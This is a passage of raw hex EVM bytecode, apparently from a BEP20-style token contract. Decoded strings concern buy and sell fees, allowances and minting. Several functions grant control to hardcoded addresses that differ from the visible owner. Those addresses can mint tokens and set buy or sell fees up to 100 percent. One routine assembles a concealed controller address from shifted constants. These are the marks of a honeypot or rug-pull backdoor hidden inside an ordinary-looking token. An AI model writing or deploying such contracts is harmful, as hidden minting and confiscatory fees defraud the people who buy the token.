085357600080fd5b5061086e60048036038101906108699190613f77565b612c87565b005b34801561087c57600080fd5b506108976004803603810190610892919061402d565b612cd4565b6040516108a49190613fd2565b60405180910390f35b3480156108b957600080fd5b506108c2612dcc565b6040516108cf919061414a565b60405180910390f35b3480156108e457600080fd5b506108ed612df2565b6040516108fa919061414a565b60405180910390f35b34801561090f57600080fd5b5061092a600480360381019061092591906141d1565b612e18565b6040516109379190614069565b60405180910390f35b34801561094c57600080fd5b5061096760048036038101906109629190613fed565b612e3d565b005b34801561097557600080fd5b5061097e612ff3565b60405161098b919061414a565b60405180910390f35b3480156109a057600080fd5b506109bb60048036038101906109b6919061402d565b613019565b005b600080546109ca90614240565b80601f01602080910402602001604051908101604052809291908181526020018280546109f690614240565b8015610a435780601f10610a1857610100808354040283529160200191610a43565b820191906000526020600020905b815481529060010190602001808311610a2657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b2b9190614069565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c175750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610c165750610be6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610c2057600080fd5b6064821115610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906142bd565b60405180910390fd5b6064811115610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610ce7929190614349565b60405180910390a15050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dcd5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610dcc5750610d9c613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610dd657600080fd5b6064821115610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e11906142bd565b60405180910390fd5b6064811115610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5590614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610e9d929190614349565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f855750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610f845750610f54613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610f8e57600080fd5b610f983383613392565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906143be565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061442a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090614496565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111d7576111d460646111c6600e548661355a90919063ffffffff16565b6135d490919063ffffffff16565b90505b60006111ec828561362c90919063ffffffff16565b905061124084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113759190614069565b60405180910390a36000821115611481576113d882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114789190614069565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561155957507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561174f576115ed84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516117469190614069565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117bc57600080fd5b6064821115611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906142bd565b60405180910390fd5b6064811115611844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183b90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611883929190614349565b60405180910390a15050565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119695750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156119685750611938613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61197257600080fd5b61197c82826136e3565b5050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ef57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b155750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b145750611ae4613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b1e57600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ba357600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60007363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611cc95750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611cc85750611c98613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611cd257600080fd5b611cdc338361389e565b60019050919050565b6000611cef613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2657600080fd5b611d303383613b15565b60019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e135750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611e125750611de2613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611e1c57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9f90614502565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061201b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561201a5750611fea613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61202457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461214157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806122b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156122b05750612280613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6122ba57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550801561235b578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123ad57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6001805461240490614240565b80601f016020809104026020016040519081016040528092919081815260200182805461243090614240565b801561247d5780601f106124525761010080835404028352916020019161247d565b820191906000526020600020905b81548152906001019060200180831161246057829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124e157600080fd5b6124eb3383613392565b60019050919050565b60003411612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e90614594565b60405180910390fd5b60003490506000600d5411156127f55760006125716064612563600d548561355a90919063ffffffff16565b6135d490919063ffffffff16565b90506000612588828461362c90919063ffffffff16565b90506125fe8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e29190614069565b60405180910390a360008211156127ee5761274582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127e59190614069565b60405180910390a35b5050612956565b6128698160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161294d9190614069565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156129a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129e057600080fd5b612a3282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ac782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b679190614069565b60405180910390a36001905092915050565b612b81613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bb857600080fd5b6064821115612bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf3906142bd565b60405180910390fd5b6064811115612c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3790614329565b60405180910390fd5b612c4a8282613c9e565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612c7b929190614349565b60405180910390a15050565b612c8f613a66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612cc657600080fd5b612cd08282613cb0565b5050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612db05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612daf5750612d7f613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612db957600080fd5b612dc3338361389e565b60019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f175750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612f165750612ee6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612f2057600080fd5b6064821115612f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5b906142bd565b60405180910390fd5b6064811115612fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9f90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612fe7929190614349565b60405180910390a15050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561309b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613092906143be565b60405180910390fd5b60006130c560646130b7600e548561355a90919063ffffffff16565b6135d490919063ffffffff16565b905060006130dc828461362c90919063ffffffff16565b905061313083600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c581600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190614069565b60405180910390a36000821115613371576132c882600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133689190614069565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b61339a613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036133d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343790614600565b60405180910390fd5b6134558160025461368590919063ffffffff16565b6002819055506134ad81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354e9190614069565b60405180910390a35050565b600080830361356c57600090506135ce565b6000828461357a919061464f565b905082848261358991906146c0565b146135c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135c09061473d565b60405180910390fd5b809150505b92915050565b6000808211613618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161360f906147a9565b60405180910390fd5b818361362491906146c0565b905092915050565b600082821115613671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366890614815565b60405180910390fd5b818361367d9190614835565b905092915050565b60008082846136949190614869565b9050838110156136d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136d0906148e9565b60405180910390fd5b8091505092915050565b6136eb613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361372257600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137719190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137d69190614069565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461382d9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138929190614069565b60405180910390a35050565b6138a6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036138dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361394c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161394390614600565b60405180910390fd5b6139618160025461368590919063ffffffff16565b6002819055506139b981600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a5a9190614069565b60405180910390a35050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b7b90614955565b60405180910390fd5b613b998160025461368590919063ffffffff16565b600281905550613bf181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c929190614069565b60405180910390a35050565b81600d8190555080600e819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613cff9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d649190614069565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613dbb9190614869565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613e209190614069565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613e66578082015181840152602081019050613e4b565b60008484015250505050565b6000601f19601f8301169050919050565b6000613e8e82613e2c565b613e988185613e37565b9350613ea8818560208601613e48565b613eb181613e72565b840191505092915050565b60006020820190508181036000830152613ed68184613e83565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f0e82613ee3565b9050919050565b613f1e81613f03565b8114613f2957600080fd5b50565b600081359050613f3b81613f15565b92915050565b6000819050919050565b613f5481613f41565b8114613f5f57600080fd5b50565b600081359050613f7181613f4b565b92915050565b60008060408385031215613f8e57613f8d613ede565b5b6000613f9c85828601613f2c565b9250506020613fad85828601613f62565b9150509250929050565b60008115159050919050565b613fcc81613fb7565b82525050565b6000602082019050613fe76000830184613fc3565b92915050565b6000806040838503121561400457614003613ede565b5b600061401285828601613f62565b925050602061402385828601613f62565b9150509250929050565b60006020828403121561404357614042613ede565b5b600061405184828501613f62565b91505092915050565b61406381613f41565b82525050565b600060208201905061407e600083018461405a565b92915050565b60008060006060848603121561409d5761409c613ede565b5b60006140ab86828701613f2c565b93505060206140bc86828701613f2c565b92505060406140cd86828701613f62565b9150509250925092565b600060ff82169050919050565b6140ed816140d7565b82525050565b600060208201905061410860008301846140e4565b92915050565b60006020828403121561412457614123613ede565b5b600061413284828501613f2c565b91505092915050565b61414481613f03565b82525050565b600060208201905061415f600083018461413b565b92915050565b61416e81613fb7565b811461417957600080fd5b50565b60008135905061418b81614165565b92915050565b600080604083850312156141a8576141a7613ede565b5b60006141b685828601613f2c565b92505060206141c78582860161417c565b9150509250929050565b600080604083850312156141e8576141e7613ede565b5b60006141f685828601613f2c565b925050602061420785828601613f2c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061425857607f821691505b60208210810361426b5761426a614211565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006142a7601a83613e37565b91506142b282614271565b602082019050919050565b600060208201905081810360008301526142d68161429a565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000614313601b83613e37565b915061431e826142dd565b602082019050919050565b6000602082019050818103600083015261434281614306565b9050919050565b600060408201905061435e600083018561405a565b61436b602083018461405a565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006143a8601483613e37565b91506143b382614372565b602082019050919050565b600060208201905081810360008301526143d78161439b565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000614414601683613e37565b915061441f826143de565b602082019050919050565b6000602082019050818103600083015261444381614407565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000614480601983613e37565b915061448b8261444a565b602082019050919050565b600060208201905081810360008301526144af81614473565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006144ec601983613e37565b91506144f7826144b6565b602082019050919050565b6000602082019050818103600083015261451b816144df565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b600061457e602383613e37565b915061458982614522565b604082019050919050565b600060208201905081810360008301526145ad81614571565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006145ea601f83613e37565b91506145f5826145b4565b602082019050919050565b60006020820190508181036000830152614619816145dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061465a82613f41565b915061466583613f41565b925082820261467381613f41565b9150828204841483151761468a57614689614620565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006146cb82613f41565b91506146d683613f41565b9250826146e6576146e5614691565b5b828204905092915050565b7f4d756c7469706c696361746